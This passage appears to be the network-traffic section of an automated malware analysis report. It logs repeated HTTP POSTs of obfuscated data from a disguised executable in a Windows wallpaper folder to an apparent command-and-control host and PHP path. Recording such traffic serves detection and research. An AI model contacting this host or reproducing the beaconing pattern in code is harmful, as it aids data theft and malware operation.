Jan 1, 2025 15:17:55.014877081 CET	1056	OUT	Data Raw: 54 5d 54 55 5a 5c 57 5e 59 5b 5a 5a 52 52 5b 50 55 5d 5a 56 57 50 5b 59 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: T]TUZ\W^Y[ZZRR[PU]ZVWP[Y[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$B;0:?5W;<8++!Q%1,/Q51?Z+789]//_
Jan 1, 2025 15:17:55.148142099 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:55.408871889 CET	804	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HoLXNpaeVJ9rkHLxjkTMh%2BnPIfzzWk4HrIGjCsgiXjSyxiNe3Dj8eFfKUCL45kHpwFhrq9oqM1NpmLOTjO6a3cVKnwhzz3cZxK4ZbyFBN9BX1%2F15oe%2BOJvVtrcBTFqtH7SC2NObC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb322b75c7f43df-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3800&min_rtt=1897&rtt_var=4518&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=85265&cwnd=242&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49805	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:55.531642914 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:55.889895916 CET	1056	OUT	Data Raw: 54 5d 54 5f 5a 5b 52 5c 59 5b 5a 5a 52 52 5b 51 55 5b 5a 5c 57 5b 5b 5f 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: T]T_Z[R\Y[ZZRR[QU[Z\W[[_[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$D;?$'*(["2#^)(?(.-%9"%</U6&]&/<.];:9]//_
Jan 1, 2025 15:17:55.987016916 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:56.159725904 CET	819	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1qsBCU%2BOofVXGDCKpKbiflGDywI%2BZ%2FgUMatIdXsnin1WXyFQo5OQihMGqmDeTqg%2B0NFR%2F%2Bpx4DEJgMVz2mW%2Bl%2FZcWEGpGiWFO9GeE0aWjE5%2FDt30K5n2QNa%2BrffDhe8L5oWiBF%2BY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb322bca9d78c60-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3986&min_rtt=1994&rtt_var=4733&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=81395&cwnd=66&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49811	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:56.281888962 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:56.640593052 CET	1056	OUT	Data Raw: 54 51 51 50 5f 5b 57 5c 59 5b 5a 5a 52 5d 5b 5d 55 5a 5a 58 57 5e 5b 5f 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TQQP_[W\Y[ZZR][]UZZXW^[_[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$C8/3^3[6(8?\(.9$:W%6"6[2?<-$/9]//_ <
Jan 1, 2025 15:17:56.725992918 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:56.897649050 CET	805	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=k9kSRVG%2BVemneR4iaO69Jh29VzhXreQKKMohExa5k9FCiIadIHWmY7EEo7pyG9EXwJxsJMxLc81YZUD0V%2FSkKTM910LEW9fJfMNUdEfFdduZvPSvdaj3Sz0sC3iWQNgo3IZO3%2B8b"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb322c13bff0f85-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2302&min_rtt=1478&rtt_var=2203&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=180827&cwnd=203&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49817	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:57.016650915 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:57.374222994 CET	1056	OUT	Data Raw: 54 53 54 56 5f 5b 52 5d 59 5b 5a 5a 52 58 5b 58 55 5f 5a 5a 57 5b 5b 56 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TSTV_[R]Y[ZZRX[XU_ZZW[[V[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$A,08X5W#?^+(.9'\6&<U#".]&/\<X4-*9]//_ (
Jan 1, 2025 15:17:57.487010002 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:57.749178886 CET	809	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xhaxev57SVBqaTrU6syIFPgwFyI0VF4H6qi%2BPUJ3vowZ2K0ISPUE5m7wPgo5pTNUzhcfmB4rUCi5dNgwAbkq3X%2Fne6sDxwKjFF0%2BOC%2Fo3zSWZnGgSFAJBMoOGHEg%2B2e6v1fq6ufM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb322c5eb1232d3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=9831&min_rtt=1997&rtt_var=16417&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=22575&cwnd=145&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49823	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:57.876656055 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:58.236474991 CET	1056	OUT	Data Raw: 54 54 51 57 5f 59 57 5e 59 5b 5a 5a 52 5f 5b 5d 55 5f 5a 5a 57 5a 5b 59 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TTQW_YW^Y[ZZR_[]U_ZZWZ[Y[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$A/?7Y09Y#!#);+[(>Q%)>%<T6""%#\+>3_-*9]//_ 4
Jan 1, 2025 15:17:58.329169989 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:58.583092928 CET	810	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qEjToqZDaJHF45aNT36r4kBjbj%2BVyHemLlvgfG3qaPJ8D9hCKRQuZome9Zg8MZeeY0Mlay7bNJ159YIxI%2BZWe5iwTc1jCGsJqzl%2Fyco8p%2FDHftPDPAKmF%2Bh1bPvn%2BaOL0Nk3p9Ay"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb322cb4892f78f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1597&min_rtt=1480&rtt_var=789&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=603555&cwnd=136&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49829	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:58.599673986 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1328 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:58.952385902 CET	1328	OUT	Data Raw: 51 50 54 5f 5f 58 57 58 59 5b 5a 5a 52 58 5b 58 55 59 5a 5c 57 58 5b 5a 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QPT__XWXY[ZZRX[XUYZ\WX[Z[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]'//Z$<5W<??<>:$:9%,#1*1/<=8/:9]//_ (
Jan 1, 2025 15:17:59.044853926 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:59.216648102 CET	953	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ap33oBZ6Jh4VylmlAvwWvnpvHtP1IXiYRE0IkXiOaFE3oQIgx57W6fYhME2qdNsKb%2FI5A11pxOo9A6srZmHljfxxyZ%2B%2BkO6OCUpsUS5pMkOYu1umur6ITZmYfIXJf9ILoy1WkkwW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb322cfbf1b41d2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4330&min_rtt=1752&rtt_var=5813&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=1656&delivery_rate=65239&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 02 1d 2d 0b 36 3a 2d 58 33 11 0d 06 2c 59 26 05 3c 38 30 17 3e 3c 31 17 32 38 04 50 3d 21 3a 0f 35 39 06 08 28 12 2e 08 25 12 2d 1d 25 28 2e 5a 0d 1c 39 5d 23 2e 23 1e 25 32 04 0e 27 2b 26 04 23 2d 04 5c 22 2b 27 5d 25 13 3d 02 31 3a 35 1d 2d 3d 20 03 2f 3d 31 18 2c 0e 0c 59 30 2f 23 50 0f 1f 23 1c 26 2d 3d 1f 30 22 20 5a 22 30 23 0c 23 2a 0c 0c 37 2a 20 52 24 04 31 07 27 5e 25 0c 27 3f 3b 54 21 00 2e 57 26 32 2f 51 24 32 2f 5d 21 0e 2c 55 03 3e 54 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 98-6:-X3,Y&<80><128P=!:59(.%-%(.Z9]#.#%2'+&#-\"+']%=1:5-= /=1,Y0/#P#&-=0" Z"0##7 R$1'^%'?;T!.W&2/Q$2/]!,U>TQ0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49830	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:58.704008102 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:59.062186003 CET	1056	OUT	Data Raw: 54 55 51 57 5f 5c 57 5b 59 5b 5a 5a 52 5c 5b 5d 55 5f 5a 5c 57 51 5b 57 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TUQW_\W[Y[ZZR\[]U_Z\WQ[W[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]'-??Y09$\52'X((>T')!R%??Q#!&>>;9]//_
Jan 1, 2025 15:17:59.147686958 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:59.403742075 CET	803	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TFcdiHvDocGBfWYeXKt8Qeu27vEV%2Bsz0YZCfwBgFZOotaZfbtYyS6qkjeP3cCcxSmPCoisg0xAVXtHMAX%2FUNeSMsKOt7su4KGaSyU0eZpPi82ITkOfOvWaGxKwtaeLCYkKymsgR4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb322d06fdd1895-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2309&min_rtt=1547&rtt_var=2104&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=190999&cwnd=184&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49836	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:59.535207987 CET	304	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue
Jan 1, 2025 15:17:59.889956951 CET	1056	OUT	Data Raw: 54 50 51 50 5f 5d 57 50 59 5b 5a 5a 52 52 5b 51 55 5b 5a 59 57 5c 5b 5a 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TPQP_]WPY[ZZRR[QU[ZYW\[Z[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]'//Z0:4Z!!^(+0)>1?P#161++[;9]//_
Jan 1, 2025 15:18:00.035650969 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:00.376312017 CET	802	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=osZHwG1DLf8S88%2FqxLUTt4ySqH7ZLbCXt%2FtOPXhvJdQxmeb3LJ5Q0mFTlLm3EgObcMSBcgthZvAVKqfxfdPtoCaAoQCZUjVxjNTQuRQ8M9Ewu7NcGdbs7N4OzXCv0vX5LcYvKuVH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb322d5bb5f8cca-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4304&min_rtt=2020&rtt_var=5326&sent=4&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=1360&delivery_rate=71942&cwnd=238&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	49842	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:00.500502110 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:00.861392975 CET	1056	OUT	Data Raw: 51 51 54 53 5f 57 57 5c 59 5b 5a 5a 52 52 5b 5e 55 59 5a 5d 57 5a 5b 5a 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QQTS_WW\Y[ZZRR[^UYZ]WZ[Z[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$E8?3:(Z!1<;0(="09:&,;Q5W.1?;<>8;9]//_
Jan 1, 2025 15:18:00.964075089 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:01.143734932 CET	805	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dnQcuzKL0Agbb%2FTSN9yV7WZVd6IumijvN%2Fmu0%2FIiJGe8awjzwYbOCUtxtB1HiniyS8pDctew7RIPi52fLGa0TziCtCkCeFiYF45BP5Za1xufPfAbKtSFXVstAdpNbnIIMZjUi1cr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb322dbb9a3c470-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3022&min_rtt=1563&rtt_var=3505&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=110271&cwnd=235&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	49850	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:01.268070936 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:01.624226093 CET	1056	OUT	Data Raw: 54 55 51 52 5f 5c 52 59 59 5b 5a 5a 52 58 5b 5e 55 5a 5a 5f 57 5e 5b 58 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TUQR_\RYY[ZZRX[^UZZ_W^[X[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$D/</_3$Y6^<8+?==T$)9Q&/;!&/^? ;9]//_ (
Jan 1, 2025 15:18:01.713726997 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:01.878161907 CET	809	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Jc3JCKeny3elt8DP1vQ%2FVx298%2BhvmFL3y5HjGtBRfL%2BesZYNdtGZ642F%2FuGAbVV3LGc9NPM476TFw9B5Rb%2FE5DWSWnanhZvJgVbjjaNOCNiJruHiY5rCPaorOvOqanZ72yTOjDw8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb322e0690d42c2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2352&min_rtt=1632&rtt_var=2052&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=197430&cwnd=239&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	49855	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:02.001245975 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
